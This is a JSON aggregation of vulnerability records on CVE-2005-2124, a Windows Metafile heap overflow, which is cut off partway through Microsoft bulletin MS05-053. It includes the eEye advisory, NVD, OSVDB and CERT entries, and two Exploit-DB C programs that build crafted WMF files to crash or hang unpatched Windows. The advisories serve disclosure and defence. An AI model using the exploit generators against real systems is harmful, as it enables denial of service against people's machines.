{"id": "SECURITYVULNS:DOC:10174", "bulletinFamily": "software", "title": "[Full-disclosure] [EEYEB-20050329] Windows Metafile Multiple Heap Overflows", "description": "Windows Metafile Multiple Heap Overflows\r\n\r\nRelease Date:\r\nNovember 8, 2005\r\n\r\nDate Reported:\r\nMarch 29, 2005\r\n\r\nSeverity:\r\nHigh (Code Execution)\r\n\r\nVendor:\r\nMicrosoft\r\n\r\nSystems Affected:\r\nWindows 2000\r\nWindows Server 2003\r\n\r\nOverview:\r\neEye Digital Security has discovered a heap overflow vulnerability in\r\nthe way the Windows Graphical Device Interface (GDI) processes Windows\r\nenhanced metafile images (file extensions EMF and WMF). An attacker\r\ncould send a malicious metafile to a victim of his choice over any of a\r\nvariety of media -- such as HTML e-mail, a link to a web page, a\r\nmetafile-bearing Microsoft Office document, or a chat message -- in\r\norder to execute code on that user's system at the user's privilege\r\nlevel.\r\n\r\nTechnical Details:\r\nThe Windows metafile rendering code in GDI32.DLL contains a number of\r\ninteger overflow flaws in its processing of EMF/WMF file data that lead\r\nto exploitable heap overflows through any number of specially crafted\r\nmetafile structures. For example, the following disassembly from\r\nMRBP16::bCheckRecord demonstrates a size calculation that is susceptible\r\nto integer overflow and as a result may pass validation with a dangerous\r\nvalue:\r\n\r\n 77F6C759 mov edx, [ecx+18h] ; malicious count (e.g.,\r\n8000000Dh)\r\n 77F6C75C mov eax, [ecx+4] ; heap allocation size\r\n ...\r\n 77F6C764 lea edx, [edx*4+1Ch] ; EDX >= 3FFFFFF9h: integer\r\noverflow\r\n 77F6C76B cmp edx, eax ; validation check\r\n 77F6C76D jnz 77F6C77F\r\n\r\nProtection:\r\nRetina Network Security Scanner has been updated to identify this\r\nvulnerability.\r\nBlink Endpoint Protection proactively protects users from this\r\nvulnerability.\r\n\r\nVendor Status:\r\nMicrosoft has released a patch for this vulnerability. The patch is\r\navailable at:\r\nhttp://www.microsoft.com/technet/security/bulletin/MS05-053.mspx\r\n\r\nCredit:\r\nFang Xing\r\n\r\nRelated Links:\r\nThis vulnerability has been assigned the following IDs;\r\n\r\nEEYEB-20050329\r\nOSVDB ID: 18820\r\nCVE ID: CAN-2005-2124\r\n\r\nGreetings:\r\nThanks Derek and and eEye guys help me wrote this advisory. Greeting\r\nxfocus guys and venustech lab guys.\r\n\r\n\r\nCopyright (c) 1998-2005 eEye Digital Security Permission is hereby\r\ngranted for the redistribution of this alert electronically. It is not\r\nto be edited in any way without express consent of eEye. If you wish to\r\nreprint the whole or any part of this alert in any other medium\r\nexcluding electronic medium, please email alert@eEye.com for permission.\r\n\r\nDisclaimer\r\nThe information within this paper may change without notice. Use of this\r\ninformation constitutes acceptance for use in an AS IS condition. There\r\nare no warranties, implied or express, with regard to this information.\r\nIn no event shall the author be liable for any direct or indirect\r\ndamages whatsoever arising out of or in connection with the use or\r\nspread of this information. Any use of this information is at the user's\r\nown risk.\r\n_______________________________________________\r\nFull-Disclosure - We believe in it.\r\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\r\nHosted and sponsored by Secunia - http://secunia.com/", "published": "2005-11-09T00:00:00", "modified": "2005-11-09T00:00:00", "cvss": {"score": 7.6, "vector": "AV:NETWORK/AC:HIGH/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}, "href": "https://vulners.com/securityvulns/SECURITYVULNS:DOC:10174", "reporter": "Securityvulns", "references": [], "cvelist": ["CVE-2005-2124"], "type": "securityvulns", "lastseen": "2018-08-31T11:10:14", "edition": 1, "viewCount": 6, "enchantments": {"score": {"value": 7.6, "vector": "NONE", "modified": "2018-08-31T11:10:14", "rev": 2}, "dependencies": {"references": [{"type": "cve", "idList": ["CVE-2005-2124"]}, {"type": "cert", "idList": ["VU:433341"]}, {"type": "osvdb", "idList": ["OSVDB:18820"]}, {"type": "exploitdb", "idList": ["EDB-ID:1346", "EDB-ID:1343"]}, {"type": "securityvulns", "idList": ["SECURITYVULNS:DOC:10175", "SECURITYVULNS:DOC:10172"]}, {"type": "nessus", "idList": ["SMB_NT_MS05-053.NASL"]}], "modified": "2018-08-31T11:10:14", "rev": 2}, "vulnersScore": 7.6}, "affectedSoftware": []}

{"cve": [{"lastseen": "2020-10-03T11:34:55", "description": "Unspecified vulnerability in the Graphics Rendering Engine (GDI32.DLL) in Windows 2000 SP4, XP SP1 and SP2, and Server 2003 SP1, related to \"An unchecked buffer\" and possibly buffer overflows, allows remote attackers to execute arbitrary code via a crafted Windows Metafile (WMF) format image, aka \"Windows Metafile Vulnerability.\"", "edition": 3, "cvss3": {}, "published": "2005-11-29T21:03:00", "title": "CVE-2005-2124", "type": "cve", "cwe": ["NVD-CWE-Other"], "bulletinFamily": "NVD", "cvss2": {"severity": "HIGH", "exploitabilityScore": 4.9, "obtainAllPrivilege": true, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "HIGH", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 7.6, "vectorString": "AV:N/AC:H/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2005-2124"], "modified": "2018-10-12T21:37:00", "cpe": ["cpe:/o:microsoft:windows_2003_server:itanium", "cpe:/o:microsoft:windows_2000:*", "cpe:/o:microsoft:windows_2003_server:r2", "cpe:/o:microsoft:windows_2003_server:64-bit", "cpe:/o:microsoft:windows_2003_server:sp1", "cpe:/o:microsoft:windows_xp:*"], "id": "CVE-2005-2124", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2005-2124", "cvss": {"score": 7.6, "vector": "AV:N/AC:H/Au:N/C:C/I:C/A:C"}, "cpe23": ["cpe:2.3:o:microsoft:windows_2003_server:sp1:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_2003_server:sp1:*:itanium:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_xp:*:sp1:tablet_pc:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_2003_server:itanium:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_xp:*:sp2:tablet_pc:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_2003_server:64-bit:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_2000:*:sp4:*:fr:*:*:*:*", "cpe:2.3:o:microsoft:windows_2003_server:r2:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_xp:*:*:64-bit:*:*:*:*:*"]}], "osvdb": [{"lastseen": "2017-04-28T13:20:15", "bulletinFamily": "software", "cvelist": ["CVE-2005-2124"], "edition": 1, "description": "## Vulnerability Description\nMultiple remote overflows exist in Windows. The metafile rendering code in GDI32.DLL fails to validate EMF/WMF file data resulting in integer overflows. With a specially crafted file, an attacker can cause arbitrary code execution resulting in a loss of integrity.\n## Solution Description\nCurrently, there are no known workarounds or upgrades to correct this issue. However, Microsoft has released a patch to address this vulnerability.\n## Short Description\nMultiple remote overflows exist in Windows. The metafile rendering code in GDI32.DLL fails to validate EMF/WMF file data resulting in integer overflows. With a specially crafted file, an attacker can cause arbitrary code execution resulting in a loss of integrity.\n## References:\nVendor URL: http://www.microsoft.com/\n[Vendor Specific Advisory URL](http://support.avaya.com/elmodocs2/security/ASA-2005-228.pdf)\nSecurity Tracker: 1015168\n[Secunia Advisory ID:17461](https://secuniaresearch.flexerasoftware.com/advisories/17461/)\n[Secunia Advisory ID:17498](https://secuniaresearch.flexerasoftware.com/advisories/17498/)\nOther Advisory URL: http://www.eeye.com/html/research/upcoming/20050329.html\nOther Advisory URL: http://www.eeye.com/html/research/advisories/AD20051108b.html\nMicrosoft Security Bulletin: MS05-053\nMicrosoft Knowledge Base Article: 896424\nMail List Post: http://archives.neohapsis.com/archives/fulldisclosure/2005-11/0193.html\nKeyword: EEYEB-20050329\nGeneric Informational URL: http://news.com.com/Image-handling+flaws+put+Windows+PCs+at+risk/2100-1002_3-5940047.html\nGeneric Exploit URL: http://www.securiteam.com/exploits/6F00O2AEVW.html\nGeneric Exploit URL: http://www.securiteam.com/exploits/6E00O2KEKS.html\n[CVE-2005-2124](https://vulners.com/cve/CVE-2005-2124)\nCERT VU: 433341\nBugtraq ID: 15356\n", "modified": "2005-11-08T18:50:51", "published": "2005-11-08T18:50:51", "href": "https://vulners.com/osvdb/OSVDB:18820", "id": "OSVDB:18820", "type": "osvdb", "title": "Microsoft Windows GDI EMF/WMF Metafile Processing Multiple Overflows", "cvss": {"score": 7.6, "vector": "AV:NETWORK/AC:HIGH/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}], "cert": [{"lastseen": "2020-09-18T20:43:17", "bulletinFamily": "info", "cvelist": ["CVE-2005-2124"], "description": "### Overview \n\nMicrosoft Windows may be vulnerable to remote code execution via a buffer overflow in the Windows Metafile image format handling.\n\n### Description \n\n[Windows Metafile (WMF)](<http://support.microsoft.com/default.aspx?scid=kb;en-us;320314>) format images are metafiles that can contain both vector and bitmap-based information. Microsoft Windows contains routines for displaying WMF files. However, a lack of input validation in on of these routines may allow a buffer overflow to occur, and in turn may allow remote arbitrary code execution. \n \n--- \n \n### Impact \n\nA remote, unauthenticated attacker may be able to execute arbitrary code if the user is persuaded to view a specially-crafted WMF file. \n \n--- \n \n### Solution \n\n**Apply an update**\n\nPlease see [Microsoft Security Bulletin MS05-053](<http://www.microsoft.com/technet/security/Bulletin/MS05-053.mspx>) for details on updates, workarounds, and solutions. \n \n--- \n \n \n**Do not access WMF files from untrusted sources** \n \nExploitation occurs by accessing a specially crafted WMF file (typically .wmf). By only accessing WMF files from trusted or known sources, the chances of exploitation are reduced. \n \nAttackers may host malicious WMF files on a website. In order to convince users to visit their sites, those attackers often use URL encoding, IP address variations, long URLs, intentional misspellings, and other techniques to create misleading links. Do not click on unsolicited links received in email, instant messages, web forums, or internet relay chat (IRC) channels. Type URLs directly into the browser to avoid these misleading links. While these are generally good security practices, following these behaviors will not prevent exploitation of this vulnerability in all cases, particularly if a trusted site has been compromised or allows cross-site scripting. \n \n--- \n \n### Vendor Information\n\n433341\n\nFilter by status: All Affected Not Affected Unknown\n\nFilter by content: __ Additional information available\n\n__ Sort by: Status Alphabetical\n\nExpand all\n\n**Javascript is disabled. Click here to view vendors.**\n\n### Microsoft Corporation __ Affected\n\nUpdated: November 08, 2005 \n\n### Status\n\nAffected\n\n### Vendor Statement\n\nWe have not received a statement from the vendor.\n\n### Vendor Information \n\nThe vendor has not provided us with any further information regarding this vulnerability.\n\n### Addendum\n\nPlease see [Microsoft Security Bulletin MS05-053](<http://www.microsoft.com/technet/security/Bulletin/MS05-053.mspx>) for details on updates, workarounds, and solutions.\n\nIf you have feedback, comments, or additional information about this vulnerability, please send us [email](<mailto:cert@cert.org?Subject=VU%23433341 Feedback>).\n\n \n\n\n### CVSS Metrics \n\nGroup | Score | Vector \n---|---|--- \nBase | | \nTemporal | | \nEnvironmental | | \n \n \n\n\n### References \n\n * <http://www.microsoft.com/technet/security/Bulletin/MS05-053.mspx>\n * <http://www.eeye.com/html/research/advisories/AD20051108b.html>\n\n### Acknowledgements\n\nThanks to Microsoft for reporting this vulnerability, who in turn thank Venustech AdDLab, eEye Digital Security and Peter Ferrie of Symantec Security Response for information on the issue.\n\nThis document was written by Ken MacInnis.\n\n### Other Information\n\n**CVE IDs:** | [CVE-2005-2124](<http://web.nvd.nist.gov/vuln/detail/CVE-2005-2124>) \n---|--- \n**Severity Metric:** | 10.94 \n**Date Public:** | 2005-11-08 \n**Date First Published:** | 2005-11-08 \n**Date Last Updated: ** | 2005-11-09 21:30 UTC \n**Document Revision: ** | 11 \n", "modified": "2005-11-09T21:30:00", "published": "2005-11-08T00:00:00", "id": "VU:433341", "href": "https://www.kb.cert.org/vuls/id/433341", "type": "cert", "title": "Microsoft Windows vulnerable to buffer overflow via specially crafted WMF file", "cvss": {"score": 7.6, "vector": "AV:N/AC:H/Au:N/C:C/I:C/A:C"}}], "exploitdb": [{"lastseen": "2016-01-31T14:02:32", "description": "MS Windows Metafile (gdi32.dll) Denial of Service Exploit (MS05-053). CVE-2005-2124. Dos exploit for windows platform", "published": "2005-11-29T00:00:00", "type": "exploitdb", "title": "Microsoft Windows Metafile gdi32.dll Denial of Service Exploit MS05-053", "bulletinFamily": "exploit", "cvelist": ["CVE-2005-2124"], "modified": "2005-11-29T00:00:00", "id": "EDB-ID:1343", "href": "https://www.exploit-db.com/exploits/1343/", "sourceData": "/*\n * Author: Winny Thomas\n *\t Pune, INDIA\n *\n * The crafted metafile from this code when viewed in internet explorer raises the CPU utilization \n * to 100%. The code was tested on Windows 2000 server SP4. The issue does not occur with the \n * hotfix for GDI (MS05-053) installed\n *\n * Disclaimer: This code is for educational/testing purposes by authosized persons on \n * networks/systems setup for such a purpose.The author of this code shall not bear \n * any responsibility for any damage caused by using this code.\n *\n */\n\n#include <stdio.h>\n\nunsigned char wmfheader[] = \n\"\\xd7\\xcd\\xc6\\x9a\\x00\\x00\\xc6\\xfb\\xca\\x02\\xaa\\x02\\x39\\x09\\xe8\\x03\"\n\"\\x00\\x00\\x00\\x00\\x66\\xa6\"\n\"\\x01\\x00\"\n\"\\x09\\x00\"\n\"\\x00\\x03\"\n\"\\xff\\xff\\xff\\xff\" //Metafile file size\n\"\\x04\\x00\"\n\"\\xff\\xff\\xff\\xff\" //Largest record size\n\"\\x00\\x00\";\n\nunsigned char MetafileRECORD[] = \n\"\\x05\\x00\\x00\\x00\\x0b\\x02\\x39\\x09\\xc6\\xfb\\x08\\x00\\x00\\x00\\xfa\\x02\"\n\"\\x05\\x00\\x00\\x00\\x00\\x00\\xff\\xff\\xff\\x00\\x04\\x00\\x00\\x00\\x2d\\x01\"\n\"\\x01\\x00\\x04\\x00\\x00\\x00\\x06\\x01\\x01\\x00\\x04\\x00\\x00\\x00\\x2d\\x01\"\n\"\\x02\\x00\\x07\\x00\\x00\\x00\\xfc\\x02\\x00\\x00\\xff\\xff\\xff\\x00\\x00\\x00\"\n\"\\x04\\x00\\x00\\x00\\x2d\\x01\\x03\\x00\\x04\\x00\\x00\\x00\\x2d\\x01\\x02\\x00\"\n\"\\x04\\x00\\x00\\x00\\x2d\\x01\\x03\\x00\\x04\\x00\\x00\\x00\\xf0\\x01\\x00\\x00\"\n\"\\x07\\x00\\x00\\x00\\xfc\\x02\\x00\\x00\\xfa\\x94\\x93\\x00\\x00\\x00\\x04\\x00\"\n\"\\x00\\x00\\x2d\\x01\\x00\\x00\\x04\\x00\\x00\\x00\\x2d\\x01\\x01\\x00\\x04\\x00\"\n\"\\x00\\x00\\x06\\x01\\x01\\x00\\x14\\x00\\x00\\x00\\x24\\x03\\x08\\x00\\xc6\\xfb\"\n\"\\x9b\\x03\\xbc\\xfe\\x9b\\x03\\x0f\\x01\\x1a\\x07\\xa5\\x02\\x1a\\x07\\xf4\\x00\"\n\"\\x39\\x09\\xd5\\xfc\\x36\\x07\\x86\\xfe\\x36\\x07\\xc6\\xfb\\x9b\\x03\";\n\nunsigned char wmfeof[] = \n\"\\x00\\x00\\x00\\x00\";\n\nint main(int argc, char *argv[])\n{\n\tFILE *fp;\n\tchar wmfbuf[1024];\n\tint metafilesize, metafilesizeW, i, j;\n\t\n\tmetafilesize = sizeof (wmfheader) + sizeof (MetafileRECORD) + sizeof(wmfeof) -3;\n\tmetafilesizeW = metafilesize/2;\n\tmemcpy((unsigned long *)&wmfheader[28], &metafilesizeW, 4);\n\n\tprintf(\"[*] Adding Metafile header\\n\");\n\tfor (i = 0; i < sizeof(wmfheader) -1; i++) {\n\t\t(unsigned char)wmfbuf[i] = (unsigned char)wmfheader[i];\n\t}\n\t\t\t\n\tprintf(\"[*] Adding Metafile records\\n\");\n\tfor (j = i, i = 0; i < sizeof(MetafileRECORD) -1; i++, j++) {\n\t\twmfbuf[j] = MetafileRECORD[i];\n\t}\n\t\n\tprintf(\"[*] Adding EOF record\\n\");\n\tfor (i = 0; i < sizeof(wmfeof) -1; i++, j++) {\n\t\twmfbuf[j] = wmfeof[i];\n\t}\n\n\tprintf(\"[*] Creating Metafile (MS053.wmf)\\n\");\n\tfp = fopen(\"MS053.wmf\", \"wb\");\n\tfwrite(wmfbuf, 1, metafilesize, fp);\n\tfclose(fp);\n}\n\n// milw0rm.com [2005-11-29]\n", "cvss": {"score": 7.6, "vector": "AV:NETWORK/AC:HIGH/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}, "sourceHref": "https://www.exploit-db.com/download/1343/"}, {"lastseen": "2016-01-31T14:02:52", "description": "MS Windows Metafile (mtNoObjects) Denial of Service Exploit (MS05-053). CVE-2005-0803,CVE-2005-2123,CVE-2005-2124. Dos exploit for windows platform", "published": "2005-11-30T00:00:00", "type": "exploitdb", "title": "Microsoft Windows Metafile - mtNoObjects Denial of Service Exploit MS05-053", "bulletinFamily": "exploit", "cvelist": ["CVE-2005-0803", "CVE-2005-2124", "CVE-2005-2123"], "modified": "2005-11-30T00:00:00", "id": "EDB-ID:1346", "href": "https://www.exploit-db.com/exploits/1346/", "sourceData": "/*\r\n * Author: Winny Thomas\r\n * Pune, INDIA\r\n *\r\n * The crafted metafile (WMF) from this code when viewed in explorer crashes it. The issue is seen\r\n * when the field 'mtNoObjects' in the Metafile header is set to 0x0000.\r\n * The code was tested on Windows 2000 server SP4. The issue does not occur with the \r\n * hotfix for GDI (MS05-053) installed.\r\n *\r\n * Disclaimer: This code is for educational/testing purposes by authorized persons on \r\n * networks/systems setup for such a purpose. The author of this code shall not bear \r\n * any responsibility for any damage caused by using this code. \r\n *\r\n */\r\n\r\n#include <stdio.h>\r\n\r\nunsigned char wmfheader[] = \r\n\"\\xd7\\xcd\\xc6\\x9a\\x00\\x00\\xc6\\xfb\\xca\\x02\\xaa\\x02\\x39\\x09\\xe8\\x03\"\r\n\"\\x00\\x00\\x00\\x00\\x66\\xa6\"\r\n\"\\x01\\x00\"\t //mtType\t\r\n\"\\x09\\x00\"\t //mtHeaderSize\r\n\"\\x00\\x03\"\t //mtVersion\r\n\"\\xff\\xff\\xff\\x7f\" //mtSize\r\n\"\\x00\\x00\"\t //mtNoObjects \r\n\"\\xff\\xff\\xff\\xff\" //mtMaxRecord\r\n\"\\x00\\x00\";\r\n\r\nunsigned char metafileRECORD[] = \r\n\"\\x05\\x00\\x00\\x00\\x0b\\x02\\x39\\x09\\xc6\\xfb\\x05\\x00\\x00\\x00\\x0c\\x02\"\r\n\"\\x91\\xf9\\xe4\\x06\\x04\\x00\\x00\\x00\\x06\\x01\\x01\\x00\\x07\\x00\\x00\\x00\"\r\n\"\\xfc\\x02\\x00\\x00\\x0e\\x0d\\x0d\\x00\\x00\\x00\\x04\\x00\\x00\\x00\\x2d\\x01\"\r\n\"\\x00\\x00\\x08\\x00\\x00\\x00\\xfa\\x02\"\r\n\"\\x05\\x00\\x00\\x00\\x00\\x00\\xff\\xff\\xff\\x00\\x04\\x00\\x00\\x00\\x2d\\x01\"\r\n\"\\x01\\x00\\x04\\x00\\x00\\x00\\x06\\x01\\x01\\x00\\x14\\x00\\x00\\x00\\x24\\x03\"\r\n\"\\x08\\x00\\xc6\\xfb\\xca\\x02\\xbc\\xfe\\xca\\x02\\x0f\\x01\\x49\\x06\\xa5\\x02\"\r\n\"\\x49\\x06\\xf4\\x00\\x68\\x08\\xd5\\xfc\\x65\\x06\\x86\\xfe\\x65\\x06\\xc6\\xfb\"\r\n\"\\xca\\x02\\x08\\x00\\x00\\x00\\xfa\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\r\n\"\\x00\\x00\\x04\\x00\\x00\\x00\\x2d\\x01\\x02\\x00\\x07\\x00\\x00\\x00\\xfc\\x02\"\r\n\"\\x00\\x00\\xff\\xff\\xff\\x00\\x00\\x00\\x04\\x00\\x00\\x00\\x2d\\x01\\x03\\x00\"\r\n\"\\x04\\x00\\x00\\x00\\xf0\\x01\\x00\\x00\\x07\\x00\\x00\\x00\\xfc\\x02\\x00\\x00\"\r\n\"\\xbd\\x34\\x30\\x00\\x00\\x00\\x04\\x00\\x00\\x00\\x2d\\x01\\x00\\x00\\x04\\x00\"\r\n\"\\x00\\x00\\x2d\\x01\\x01\\x00\\x04\\x00\\x00\\x00\\x06\\x01\\x01\\x00\\x0e\\x00\"\r\n\"\\x00\\x00\\x24\\x03\\x05\\x00\\xd5\\xfc\\x36\\x07\\xda\\xfc\\xd1\\x06\\x8b\\xfe\"\r\n\"\\xd1\\x06\\x86\\xfe\\x36\\x07\\xd5\\xfc\\x36\\x07\\x04\\x00\\x00\\x00\\x2d\\x01\"\r\n\"\\x02\\x00\\x04\\x00\\x00\\x00\\x2d\\x01\\x03\\x00\\x04\\x00\\x00\\x00\\xf0\\x01\"\r\n\"\\x00\\x00\\x07\\x00\\x00\\x00\\xfc\\x02\\x00\\x00\\xbd\\x34\\x30\\x00\\x00\\x00\"\r\n\"\\x04\\x00\\x00\\x00\\x2d\\x01\\x00\\x00\\x04\\x00\\x00\\x00\\x2d\\x01\\x01\\x00\"\r\n\"\\x04\\x00\\x00\\x00\\x06\\x01\\x01\\x00\\x0e\\x00\\x00\\x00\\x24\\x03\\x05\\x00\"\r\n\"\\xc6\\xfb\\x9b\\x03\\xcb\\xfb\\x36\\x03\\xc1\\xfe\\x36\\x03\\xbc\\xfe\\x9b\\x03\"\r\n\"\\xc6\\xfb\\x9b\\x03\\x04\\x00\\x00\\x00\\x2d\\x01\\x02\\x00\\x04\\x00\\x00\\x00\"\r\n\"\\x2d\\x01\\x03\\x00\\x04\\x00\\x00\\x00\\xf0\\x01\\x00\\x00\\x07\\x00\\x00\\x00\"\r\n\"\\xfc\\x02\\x00\\x00\\xfb\\x4e\\x55\\x00\\x00\\x00\\x04\\x00\\x00\\x00\\x2d\\x01\"\r\n\"\\x00\\x00\\x04\\x00\\x00\\x00\\x2d\\x01\\x01\\x00\\x04\\x00\\x00\\x00\\x06\\x01\"\r\n\"\\x01\\x00\\x0e\\x00\\x00\\x00\\x24\\x03\\x05\\x00\\xbc\\xfe\\x9b\\x03\\xc1\\xfe\"\r\n\"\\x36\\x03\\x14\\x01\\xb5\\x06\\x0f\\x01\\x1a\\x07\\xbc\\xfe\\x9b\\x03\\x04\\x00\"\r\n\"\\x00\\x00\\x2d\\x01\\x02\\x00\\x04\\x00\\x00\\x00\\x2d\\x01\\x03\\x00\\x04\\x00\"\r\n\"\\x00\\x00\\xf0\\x01\\x00\\x00\\x07\\x00\\x00\\x00\\xfc\\x02\\x00\\x00\\xbd\\x34\"\r\n\"\\x30\\x00\\x00\\x00\\x04\\x00\\x00\\x00\\x2d\\x01\\x00\\x00\\x04\\x00\\x00\\x00\"\r\n\"\\x2d\\x01\\x01\\x00\\x04\\x00\\x00\\x00\\x06\\x01\\x01\\x00\\x0e\\x00\\x00\\x00\"\r\n\"\\x24\\x03\\x05\\x00\\x0f\\x01\\x1a\\x07\\x14\\x01\\xb5\\x06\\xaa\\x02\\xb5\\x06\"\r\n\"\\xa5\\x02\\x1a\\x07\\x0f\\x01\\x1a\\x07\\x04\\x00\\x00\\x00\\x2d\\x01\\x02\\x00\"\r\n\"\\x04\\x00\\x00\\x00\\x2d\\x01\\x03\\x00\\x04\\x00\\x00\\x00\\xf0\\x01\\x00\\x00\"\r\n\"\\x07\\x00\\x00\\x00\\xfc\\x02\\x00\\x00\\xfa\\x94\\x93\\x00\\x00\\x00\\x04\\x00\"\r\n\"\\x00\\x00\\x2d\\x01\\x00\\x00\\x04\\x00\\x00\\x00\\x2d\\x01\\x01\\x00\\x04\\x00\"\r\n\"\\x00\\x00\\x06\\x01\\x01\\x00\\x14\\x00\\x00\\x00\\x24\\x03\\x08\\x00\\xc6\\xfb\"\r\n\"\\x9b\\x03\\xbc\\xfe\\x9b\\x03\\x0f\\x01\\x1a\\x07\\xa5\\x02\\x1a\\x07\\xf4\\x00\"\r\n\"\\x39\\x09\\xd5\\xfc\\x36\\x07\\x86\\xfe\\x36\\x07\\xc6\\xfb\\x9b\\x03\\x04\\x00\"\r\n\"\\x00\\x00\\x2d\\x01\\x02\\x00\\x04\\x00\\x00\\x00\\x2d\\x01\\x03\\x00\\x04\\x00\"\r\n\"\\x00\\x00\\xf0\\x01\\x00\\x00\\x03\\x00\";\r\n\r\nunsigned char wmfeof[] = \r\n\"\\x00\\x00\\x00\\x00\";\r\n\r\nint main(int argc, char *argv[])\r\n{\r\n\tFILE *fp;\r\n\tint metafilesizeW, recordsizeW;\r\n\tchar wmfbuf[2048];\r\n\tint metafilesize, recordsize, i, j;\r\n\t\r\n\tmetafilesize = sizeof (wmfheader) + sizeof (metafileRECORD) + sizeof(wmfeof) -3;\r\n\tmetafilesizeW = metafilesize/2;\r\n\trecordsize = sizeof (metafileRECORD) -1;\r\n\trecordsizeW = recordsize/2;\r\n\t\r\n\tmemcpy((unsigned long *)&wmfheader[28], &metafilesize, 4);\r\n\tmemcpy((unsigned long *)&wmfheader[34], &recordsizeW, 4);\r\n\r\n\tprintf(\"[*] Adding Metafile header\\n\");\r\n\tfor (i = 0; i < sizeof(wmfheader) -1; i++) {\r\n\t\t(unsigned char)wmfbuf[i] = (unsigned char)wmfheader[i];\r\n\t}\r\n\t\t\t\r\n\tprintf(\"[*] Adding metafile records\\n\");\r\n\tfor (j = i, i = 0; i < sizeof(metafileRECORD) -1; i++, j++) {\r\n\t\twmfbuf[j] = metafileRECORD[i];\r\n\t}\r\n\t\r\n\tprintf(\"[*] Setting EOF\\n\");\r\n\tfor (i = 0; i < sizeof(wmfeof) -1; i++, j++) {\r\n\t\twmfbuf[j] = wmfeof[i];\r\n\t}\r\n\r\n\tprintf(\"[*] Creating Metafile (MS053.wmf)\\n\");\r\n\tfp = fopen(\"MS053.wmf\", \"wb\");\r\n\tfwrite(wmfbuf, 1, metafilesize, fp);\r\n\tfclose(fp);\r\n}\r\n\r\n// milw0rm.com [2005-11-30]\r\n", "cvss": {"score": 7.6, "vector": "AV:NETWORK/AC:HIGH/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}, "sourceHref": "https://www.exploit-db.com/download/1346/"}], "securityvulns": [{"lastseen": "2018-08-31T11:10:14", "bulletinFamily": "software", "cvelist": ["CVE-2005-0803", "CVE-2005-2124", "CVE-2005-2123"], "description": "Microsoft Security Bulletin MS05-053\r\nVulnerabilities in Graphics Rendering Engine Could Allow Code Execution &#40;896424&#41;\r\nPublished: November 8, 2005\r\n\r\nVersion: 1.0\r\nSummary\r\n\r\nWho should read this document: Customers who use Microsoft Windows\r\n\r\nImpact of Vulnerability: Remote Code Execution\r\n\r\nMaximum Severity Rating: Critical\r\n\r\nRecommendation: Customers should apply the update immediately.\r\n\r\nSecurity Update Replacement: This bulletin replaces several prior security updates. See the frequently asked questions &#40;FAQ&#41; section of this bulletin for the complete list.\r\n\r\nCaveats: None\r\n\r\nTested Software and Security Update Download Locations:\r\n\r\nAffected Software:\r\n\u2022\t\r\n\r\nMicrosoft Windows 2000 Service Pack 4 \u2013 Download the update\r\n\u2022\t\r\n\r\nMicrosoft Windows XP Service Pack 1 and Microsoft Windows XP Service Pack 2 \u2013 Download the update\r\n\u2022\t\r\n\r\nMicrosoft Windows XP Professional x64 Edition \u2013 Download the update\r\n\u2022\t\r\n\r\nMicrosoft Windows Server 2003 and Microsoft Windows Server 2003 Service Pack 1 \u2013 Download the update\r\n\u2022\t\r\n\r\nMicrosoft Windows Server 2003 for Itanium-based Systems and Microsoft Windows Server 2003 with SP1 for Itanium-based Systems \u2013 Download the update\r\n\u2022\t\r\n\r\nMicrosoft Windows Server 2003 x64 Edition \u2013 Download the update\r\n\r\nNon-Affected Software:\r\n\u2022\t\r\n\r\nMicrosoft Windows 98, Microsoft Windows 98 Second Edition &#40;SE&#41;, and Microsoft Windows Millennium Edition &#40;ME&#41;\r\n\r\nThe software in this list has been tested to determine whether the versions are affected. Other versions either no longer include security update support or may not be affected. To determine the support life cycle for your product and version, visit the Microsoft Support Lifecycle Web site.\r\nTop of sectionTop of section\r\nGeneral Information\r\n\t\r\nExecutive Summary\r\n\r\nExecutive Summary:\r\n\r\nThis update resolves several newly-discovered, privately reported and public vulnerabilities. Each vulnerability is documented in this bulletin in its own &quot;Vulnerability Details&quot; section of this bulletin.\r\n\r\nAn attacker who successfully exploited the most severe of these vulnerabilities could take complete control of an affected system. An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights.\r\n\r\nWe recommend that customers apply the update immediately.\r\n\r\nSeverity Ratings and Vulnerability Identifiers:\r\nVulnerability Identifiers\tImpact of Vulnerability\tWindows 2000\tWindows XP Service Pack 1\tWindows XP Service Pack 2\tWindows Server 2003\tWindows Server 2003 Service Pack 1\r\n\r\nGraphics Rendering Engine Vulnerability - CAN-2005-2123\r\n\t\r\n\r\nRemote Code Execution\r\n\t\r\n\r\nCritical\r\n\t\r\n\r\nCritical\r\n\t\r\n\r\nCritical\r\n\t\r\n\r\nCritical\r\n\t\r\n\r\nCritical\r\n\r\nWindows Metafile Vulnerability - CAN-2005-2124\r\n\t\r\n\r\nRemote Code Execution\r\n\t\r\n\r\nCritical\r\n\t\r\n\r\nCritical\r\n\t\r\n\r\nNone\r\n\t\r\n\r\nCritical\r\n\t\r\n\r\nNone\r\n\r\nEnhanced Metafile Vulnerability - CAN-2005-0803\r\n\t\r\n\r\nDenial of Service\r\n\t\r\n\r\nModerate\r\n\t\r\n\r\nModerate\r\n\t\r\n\r\nNone\r\n\t\r\n\r\nModerate\r\n\t\r\n\r\nNone\r\n\r\nAggregate Severity of All Vulnerabilities\r\n\t\r\n\r\n 